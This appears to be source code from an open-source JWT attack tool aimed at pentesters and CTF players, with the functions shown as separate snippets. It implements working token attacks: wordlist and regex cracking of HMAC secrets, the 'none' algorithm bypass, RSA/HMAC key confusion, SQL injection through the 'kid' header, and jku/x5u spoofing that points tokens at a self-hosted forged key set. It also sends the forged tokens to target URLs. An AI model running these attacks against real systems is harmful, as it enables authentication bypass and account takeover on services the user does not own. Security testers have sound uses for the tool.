def bruteforce_wordlist(jwt: str, filename: str) -> str: """ Crack your jwt with wordlist. Parameters ---------- jwt: str your jwt string. filename: str path file of your wordlist txt file. Returns ------- str your new jwt or "" if the valid key is not found. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) with open(filename, encoding="latin-1") as file: all_password = [line.rstrip() for line in file] file.close() for password in all_password: new_jwt = signature(jwt_json, password) new_signature = new_jwt.split(".")[2] if new_signature == jwt.split(".")[2]: return password return ""
def print_decoded(jwt: str): """ Print your jwt. Parameters ---------- jwt: str your jwt. Returns ------- None Print your jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) click.echo("Header: ") for key in jwt_json[HEADER].keys(): click.echo( str(key) + " = " + (str(jwt_json[HEADER][key]) if jwt_json[HEADER][key] is not None else "null"), ) click.echo("") click.echo("Payload: ") for key in jwt_json[PAYLOAD].keys(): click.echo( str(key) + " = " + (str(jwt_json[PAYLOAD][key]) if jwt_json[PAYLOAD][key] is not None else "null"), ) click.echo("") click.echo("Signature: \n" + json.dumps(jwt_json[SIGNATURE]))
def confusion_rsa_hmac(jwt: str, filename: str) -> str: """ Check rsa/hmac confusion. Parameters ---------- jwt: str your jwt string. filename: str path file of your public key. Returns ------- str your new jwt. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = change_alg(jwt_to_json(jwt), "HS256") return signature(jwt_json, open(filename).read())
def inject_sql_kid(jwt: str, injection: str) -> str: """ Inject sql to your jwt. Parameters ---------- jwt: str your jwt. injection: str your kid injection. Returns ------- str your new jwt. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) jwt_json[HEADER]["kid"] = injection return signature(jwt_json, "")
def none_vulnerability(jwt: str) -> str: """ Check none Vulnerability. Parameters ---------- jwt: str your jwt string. Returns ------- str your new jwt. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = change_alg(jwt_to_json(jwt), "none") return encode_jwt(jwt_json) + "."
def myjwt_cli(jwt, **kwargs): """ \b This cli is for pentesters, CTF players, or dev. You can modify your jwt, sign, inject ,etc... Full documentation is at http://myjwt.readthedocs.io. If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :) All new jwt will be copy to the clipboard. \f Parameters ---------- jwt: str your jwt kwargs: Dict all option value """ if not is_valid_jwt(jwt): sys.exit(NOT_VALID_JWT) # detect if some options are here # if no option detected print user_interface interface_mode = True for option in kwargs.values(): if not (option is None or option == () or not option or option == "GET"): interface_mode = False if interface_mode: user_interface(jwt) sys.exit() if kwargs["bruteforce"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) key = bruteforce_wordlist(jwt, kwargs["bruteforce"]) if key == "": sys.exit(NOT_CRAKED) else: copy_to_clipboard(key) click.echo(CRACKED + key) if (not kwargs["add_header"] and not kwargs["add_payload"] and not kwargs["full_payload"]): sys.exit() if kwargs["add_payload"]: payload_dict = dict() for payload in kwargs["add_payload"]: new_str = payload.split("=") if len(new_str) != 2: sys.exit(VALID_PAYLOAD) payload_dict[new_str[0]] = new_str[1] jwt_json = add_payload(jwt_to_json(jwt), payload_dict) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] if kwargs["add_header"]: header_dict = dict() for header in kwargs["add_header"]: new_str = header.split("=") if len(new_str) != 2: sys.exit(VALID_HEADER) header_dict[new_str[0]] = new_str[1] jwt_json = add_header(jwt_to_json(jwt), header_dict) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] if kwargs["full_payload"]: try: jwt_json = change_payload( jwt_to_json(jwt), json.loads(kwargs["full_payload"]), ) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] except JSONDecodeError: sys.exit(VALID_PAYLOAD_JSON) if kwargs["x5u"]: jwt = x5u_vulnerability( jwt, url=kwargs["x5u"], pem=kwargs["key"], crt=kwargs["crt"], file=kwargs["file"], ) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["jku"]: jwt = jku_vulnerability( jwt, kwargs["jku"], kwargs["file"], kwargs["key"], ) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) click.echo( f"Please run python -m http.server --bind {kwargs['jku']} .Before send your jwt", ) if kwargs["kid"]: jwt = inject_sql_kid(jwt, kwargs["kid"]) if not kwargs["sign"]: copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["hmac"]: jwt = confusion_rsa_hmac(jwt, kwargs["hmac"]) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["none_vulnerability"]: jwt_json = change_alg(jwt_to_json(jwt), "none") jwt = encode_jwt(jwt_json) + "." copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["sign"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) jwt = signature(jwt_json, kwargs["sign"]) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["verify"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) new_jwt = signature(jwt_json, kwargs["verify"]) click.echo( VALID_SIGNATURE if new_jwt.split(".")[2] == jwt.split(".")[2] else INVALID_SIGNATURE, ) if kwargs["crack"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) all_string = list(exrex.generate(kwargs["crack"])) click.echo( kwargs["crack"] + " have " + str(len(all_string)) + " possibilities", ) with click.progressbar( all_string, label="Keys", length=len(all_string), ) as bar: for key in bar: new_jwt = signature(jwt_json, key) if new_jwt.split(".")[2] == jwt.split(".")[2]: copy_to_clipboard(key) sys.exit("Key found: " + key) sys.exit(INVALID_SIGNATURE) if kwargs["url"]: data_dict = dict() for d in kwargs["data"]: new_str = d.split("=") if len(new_str) != 2: sys.exit(VALID_DATA) if new_str[1] == "MY_JWT": data_dict[new_str[0]] = jwt else: data_dict[new_str[0]] = new_str[1] cookies_dict = dict() for cookie in kwargs["cookies"]: new_str = cookie.split("=") if len(new_str) != 2: sys.exit(VALID_COOKIES) if new_str[1] == "MY_JWT": cookies_dict[new_str[0]] = jwt else: cookies_dict[new_str[0]] = new_str[1] try: response = send_jwt_to_url( kwargs["url"], kwargs["method"], data_dict, cookies_dict, jwt, ) click.echo(response.text) except requests.exceptions.ConnectionError: sys.exit("Connection Error. Verify your url.") if kwargs["print"]: copy_to_clipboard(jwt) print_decoded(jwt) if (not kwargs["none_vulnerability"] and not kwargs["hmac"] and not kwargs["bruteforce"] and not kwargs["sign"] and not kwargs["verify"] and not kwargs["jku"] and not kwargs["x5u"] and not kwargs["print"]): copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) sys.exit()
def x5u_vulnerability(jwt=None, url=None, crt=None, pem=None, file=None): """ Check jku Vulnerability. Parameters ---------- jwt: str your jwt. url: str your url. crt: str crt path file pem: str pem file name file: str jwks file name Returns ------- str your new jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") if file is None: file = "jwks_with_x5c.json" jwt_json = jwt_to_json(jwt) if "x5u" not in jwt_json[HEADER]: raise InvalidJWT("Invalid JWT format JKU missing") if crt is None or pem is None: crt, pem = create_crt() with open(crt) as f: content = f.read() f.close() x5u = requests.get(jwt_json[HEADER]["x5u"]).json() x5u["keys"][0]["x5c"] = (content.replace("-----END CERTIFICATE-----", "").replace( "-----BEGIN CERTIFICATE-----", "").replace("\n", "")) if ".json" not in file: file += ".json" if not url.endswith("/"): url += "/" jwt_json[HEADER]["x5u"] = f"{url}{file}" f = open(file, "w") f.write(json.dumps(x5u)) f.close() s = encode_jwt(jwt_json) key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read()) priv = key.to_cryptography_key() sign = priv.sign( bytes(s, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15(), ) return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
def jku_vulnerability(jwt=None, url=None, file=None, pem=None): """ Check jku Vulnerability. Parameters ---------- jwt: str your jwt. url: str your url. file: str your output json file name pem: str pem file name Returns ------- str your new jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) if "jku" not in jwt_json[HEADER]: raise InvalidJWT("Invalid JWT format JKU missing") if file is None: file = "jwk-python.json" jwks = requests.get(jwt_json[HEADER]["jku"]).json() jwt_json[HEADER]["alg"] = "RS256" if ".json" not in file: file += ".json" if not url.endswith("/"): url += "/" jwt_json[HEADER]["jku"] = f"{url}{file}" if pem is None: key = crypto.PKey() key.generate_key(type=crypto.TYPE_RSA, bits=2048) else: key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read()) priv = key.to_cryptography_key() pub = priv.public_key() e = pub.public_numbers().e n = pub.public_numbers().n jwks["keys"][0]["e"] = (base64.urlsafe_b64encode( e.to_bytes(e.bit_length() // 8 + 1, byteorder="big"), ).decode("UTF-8").rstrip("=")) jwks["keys"][0]["n"] = (base64.urlsafe_b64encode( n.to_bytes(n.bit_length() // 8 + 1, byteorder="big"), ).decode("UTF-8").rstrip("=")) f = open(file, "w") f.write(json.dumps(jwks)) f.close() s = encode_jwt(jwt_json) sign = priv.sign( bytes(s, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15(), ) return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
def test_is_valid_jwt(): """ Test is_valid_jwt method in utils.py """ assert is_valid_jwt(jwt)